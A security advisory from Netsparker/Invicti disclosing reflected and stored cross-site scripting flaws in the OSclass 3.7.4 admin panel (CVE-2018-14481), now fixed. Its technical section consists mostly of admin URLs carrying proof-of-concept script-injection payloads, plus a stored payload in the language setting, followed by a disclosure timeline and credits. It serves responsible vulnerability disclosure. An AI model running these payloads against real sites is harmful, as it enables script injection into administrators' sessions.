Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in OSclass 3.7.4
Affected Software: OSclass
Affected Versions: 3.7.4
Homepage: https://osclass.org/
Vulnerability: Reflected Cross-site Scripting, Stored Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: - 2018-14481
CVSS Score (3.0):
   Reflected XSS : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
   Stored XSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-029

Technical Details
--------------------

URL:/oc-admin/index.php/x?page=items&iDisplayLengthx%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1
Parameter Name: iDisplayLength
Parameter Type : GET
Attack Pattern : x%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1

URL : /oc-admin/index.php?page=items&action=items_reported&id[]=&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005A81)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type :  GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x005A81)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005707)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x005707)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&sort=spam&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042C1)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0042C1)</scRipt>

URL : /oc-admin/index.php?page=items&iDisplayLength=10&sSearch=&user=&userId=&itemId=&shortcut-filter=oPattern&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007CE4)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x007CE4)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001372)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x001372)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x002945)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x002945)</scRipt>

URL : /oc-admin/index.php?page=items&action=items_reported&sort=spam&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001381)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x001381)</scRipt>

URL : /oc-admin/index.php?page=items&iDisplayLength=10&sort=date&direction=desc&sSearch=&countryName=&countryId=&region=&regionId=&city=&cityId=&user=&userId=&catId=5&b_premium=1&b_active=1&b_enabled=3&b_spam=1&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042E7)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0042E7)</scRipt>

URL : /oc-admin/index.php?page=plugins&action=delete&CSRFName={CRSF_NAME}&CSRFToken=CRSF_TOKEN}&plugin=&iDisplayLength=10&'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075A6)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0075A6)</scRipt>

Note: This vulnerability don’t exploit by CSRFName parameter and CSRFToken parameter.  

URL : /oc-admin/index.php?page=plugins&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0078C1)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0078C1)</scRipt>

URL : /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004028)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x004028)</scRipt>

URL : /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007BDC)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>alert(0x007BDC)</scRipt>

Stored XSS

Injection Request

URL : /oc-admin/index.php?page=settings
Parameter Name : language
Parameter Type : POST
Attack Patern : '+alert(0x007BDC)+'

Identification Request

URL : /oc-admin/index.php?page=settings

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

11th April 2018 - First Contact
16th July 2018 - Vendor Fixed
4th December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.